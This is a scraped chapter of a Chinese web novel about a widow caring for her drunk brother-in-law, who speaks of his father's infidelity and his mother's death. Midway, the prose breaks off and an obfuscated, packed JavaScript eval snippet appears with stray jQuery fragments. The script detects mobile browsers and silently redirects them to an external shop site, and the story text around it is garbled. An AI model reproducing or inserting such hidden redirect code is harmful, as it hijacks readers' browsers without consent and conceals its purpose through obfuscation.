文趣网 > 其他小说 > 三个鳏夫一台戏 > 32. 酒醉
    一个总引得小叔频频上门关照的寡嫂……

    祝安宁觉得再这样下去,她早有的剧情将提前上演,且很可能会因为此时顾昭的主动而跑偏。

    为了避免任务失败的惨剧重演,她决意对顾昭再冷淡些。

    香囊确实只差一丁点儿收尾工作,祝安宁挑灯夜战,在昏黄烛火下细细勾勒香囊上栩栩如生的莲花。

    就在针尖落在莲花花瓣尖尖上的刹那,房门被人叩响。

    突如其来的一声惊得祝安宁险些扎了自己指尖。

    随意将香囊收起,她起身去开门。

    门口的月光被一个高大的身影遮去大半,祝安宁拿了一支蜡烛来开门,开门的瞬间烛台险些掉落在地。

    ——身影猝不及防往她的方向倒去,以一个亲密的姿势扑抱过来。

    陌生异性的呼吸带着淡淡酒气钻进鼻腔,祝安宁被压的几乎站不住。

    她刚想惊叫,眼前人哼出声。熟悉的,低沉沙哑的嗓音,是顾昭。

    她赶紧将喉咙处的叫声压回去,并庆幸开门时没有发出太大声音,没让任何人看见她们叔嫂二人此时黑暗中越界了的动作。

    “二叔?”

    她试图唤醒身上的男人,对方却一动不动,只用沉重粗哑的喘声来回应她。

    艰难地左右环顾一圈,确认守夜的下人没有听到动静过来,她小心翼翼调整姿势,将人一直扶进了里屋。

    犹豫了片刻,她还是将人扶到了她与亡夫的婚床上。

    揉着因方才用力过度而酸痛的手臂,祝安宁才有空细细打量突然出现并昏睡过去的顾昭。

    介于青涩少年和成熟男人间的脸庞在柔和的烛光下少了平日里的轻浮,紧闭的双眸、微蹙的眉头,更添一丝忧郁。

    “二叔?”祝安宁轻轻拍打顾昭的脸颊,不知所措,“你还好吗?你是不是喝醉了?”

    顾昭似乎嫌总有一股轻柔的力度落在自己脸上很烦人,抬起手抓住了她“作乱”的手。

    祝安宁的手腕细弱,他的手掌宽大,轻轻搭上去,就圈住了她整个手腕。

    祝安宁更不敢动了。

    两人的温差使得贴在自己手腕上的手掌愈发热乎乎的,灼得她心烦意乱。

    更过分的是,似乎是两人的温差给顾昭带来了冰凉的快感,他居然就这样抓着她的手往下探,然后侧脸贴近,蹭了一下。

    蹭到最后,整个脑袋都不讲章法地靠在了祝安宁侧腰。

    腰间忽然多了一个毛茸茸的大脑袋,丝丝缕缕的痒意钻进皮肤。祝安宁脸上温度渐升。

    “二叔,你醉了。”

    即使知道眼前人此时可能根本听不见她说的任何话,祝安宁还是给两人此时的行为找了借口。

    “你今晚暂且这样歇下吧,我也先走了……”

    话说一半,她已经开始转身欲走,手腕却被顾昭死死拉着不放。

    “嫂嫂。”

    他将一声称呼念得黏黏糊糊,宛若孩子在撒娇。

    祝安宁咬唇:原来他还能认出人来?那做什么往她这跑?

    若让人瞧见,她便是有九张嘴都说不清。

    顾昭是顾府血脉相亲的嫡子,自然无事,可她好不容易得来的安稳生活却很可能化为泡影……

    这般相信,她忽然心里生了怨。

    也许不是忽然。这些时日来,顾昭的所作所为也许早在她心里留下了许许多多的怨,只是从前的她笑着压了回去。

    如今,她忽然不想压了。

    “顾昭,还认得人为什么乱跑?难道你蠢到不知道如今你大哥的院子里只住着寡嫂,你不该来吗?”她第一次大胆地称呼他的全名,带着怨和怒。

    但她并没有意识到,她忍耐情绪太久,几乎从出生开始就在忍耐,导致如今即使自暴自弃般放纵一回,也不得章法。

    明明是带着怒的质问,却还是轻飘飘的,反倒像关心则乱了。

    顾昭静静听完她的话,乱麻一团的脑袋艰难地运转起来,良久才反应过来她在说什么似的,慢吞吞开口道:“嫂嫂。我也不知道为什么。”

    喝醉了的人思考不出来什么,只能实话实说。

    他喝醉了吗?他不知道。他为什么要到这来?他也不知道。

    真的不知道。

    这是他大哥的院子吗?

    顾昭又动了动浆糊脑袋,想:他才想不起来这是哪个大哥的院子。他只是,忽然想再见一面白日那张慌乱羞赧跑走的脸。

    对哦。

    他坐直身体,歪着头认真盯着眼前的脸。

    盯着盯着,他发现眼前那张他心心念念的脸忽然皱了眉,赶紧道:“嫂嫂,不要不开心。”

    他喃喃自语,似是不解:“我也不知道为什么要来……为什么呢?”

    顾昭醉了。醉得不轻。

    祝安宁叹了口气,心知和醉鬼是讲不了道理的。

    心里的气泄出来,却一拳打进了棉花里。

    祝安宁另一只手覆在顾昭手上,轻柔地去掰他的手指。

    顾昭很听话地松开了手,满脸迷茫地看着她。

    就在祝安宁彻底背过身的前一秒,她听见顾昭迷茫的声音:“你说,大哥为什么命这么好呢?”

    祝安宁脚步一滞,不敢相信自己听到了什么。

    她转过头,看向满脸都是真切的疑惑的顾昭。

    他一点也不觉得说一个早逝的人命好是什么不妥的事情。

    也许他是醉昏了头。祝安宁说服自己就这样赶紧离开,任他继续发酒疯胡言乱语。

    可内心的恻隐告诉她,就这样将一个神志不清的醉鬼撂在一旁,醉鬼可能有危险。

    祝安宁也不知道自己为什么做回了床边,试图安慰红着眼眶的顾昭。

    ——也许是因为这样的顾昭太像一个弱小无助的小孩子了。

    顾昭见人去而复返,再次将自己的身体往祝安宁的身边靠。

    “我陪你一会儿。你别往外挤了。”祝安宁无奈地抵住顾昭往床外移的脑袋,无奈,“会掉下去的。”

    醉了的顾昭很像小孩,不止说话的语气像,性格更像。祝安宁要他不动,他就乖乖停了动作,安安静静睁着眼瞧她。

    祝安宁被瞧得不自在,闭了闭眼命令他:“快些闭眼睡觉!”

    换做平常,她哪敢这样对他说话。

    清醒的顾昭一定会找各种理由

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17920942|210249||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    搪塞,然后反过来逗弄她:幸而此时是醉酒的顾昭,醉了的顾昭只会顺着祝安宁的话,让闭眼就乖乖闭眼,不会有一句废话。

    顾昭闭眼,呼吸平稳下来。然后房间里便静得只剩下两人的呼吸气音。

    祝安宁喜欢安静,但顾昭并不是一个安静的人,即使是酒醉状态下。

    静谧中,顾昭忽然开口:“尤安宁。你是叫尤安宁吧?”

    他终于不再“嫂嫂”长,“嫂嫂”短,祝安宁莫名松了口气,轻轻嗯了一声作为回应。

    “尤安宁,你说,为什么总有的人那么好命呢?”

    顾昭仍然闭着眼,但嘴巴开始喋喋不休。

    祝安宁沉默。她从来没体会过“好命”是种什么感觉,无从回答。

    好在顾昭似乎也并不需要她回答什么。

    自顾自说:“顾明城命多好。亲娘爬了员外老爷的床,给他挣了个好身份。又苦心经营,给他铺垫好名声。”

    “就连死了……”他盯着祝安宁,意有所指,“都有个美娇娘为他守节。”

    祝安宁怔了怔,不知作何反应。

    其实与其说她在为顾明城守节,倒不如说她在为她自己守节。

    因为生长在风流的土地里,反而更向往话本里坚贞不渝的故事,更渴望成为世俗意义上纯洁无暇的女子。

    但这些她并不打算向顾昭说,这种含着金汤匙出生的公子哥,如何能体会她的心呢?

    祝安宁柔声:“你的命也很好。我羡慕你。”

    这是发自内心的实话,只不过还有半句继续藏了起来。

    祝安宁很想说的是:我嫉妒你。

    锦衣玉食,花团锦簇,纸醉金迷……

    她嫉妒他。

    谁知顾昭听了竟笑了:“是。我也命好。是我不知足。”

    祝安宁诧异,却听他接着自嘲:“是我不知足,但我实在想知道,为什么爱护母亲、疼爱我的父亲,转眼就可以把同样的爱意给别人……不对,应该是,在给别人的同时,施舍给我们一点。”

    顾昭在伤心。

    祝安宁感觉到了。

    “你生得模样好,还有一点儿……像我娘。”顾昭认真回忆,过了一会儿才继续道,“你们很像。一样的漂亮,一样的坚贞,一样的傲骨难折……”

    “不是难折……”他说话开始颠三倒四语无伦次起来,“过刚易折。她太脆弱了。见了外面的女人个孩子……见了那母子俩,看见顾明城比我大,就活生生气死了自己。”

    他没有睁眼,怕悲伤藏不住。但难过还是溢了出来,化作一行泪滑落。

    最终,他很认真地同祝安宁说:“你不要学她。”

    祝安宁不知道该怎么安慰顾昭,听他一直在重复,只好先应下来:“好,我不学她。”

    顾昭得到想听的答案,微微一笑,心满意足后呼吸渐渐平缓。

    祝安宁感受着他的呼吸,五味杂陈着内心,平平挪开他还压着自己的手。

    高大的男人蜷缩着身子团成一团,自己抱着自己。

    祝安宁替他掖了掖被角:“睡吧,明天会好的。”

    不知道在说他的酒劲,还是在说旁的什么。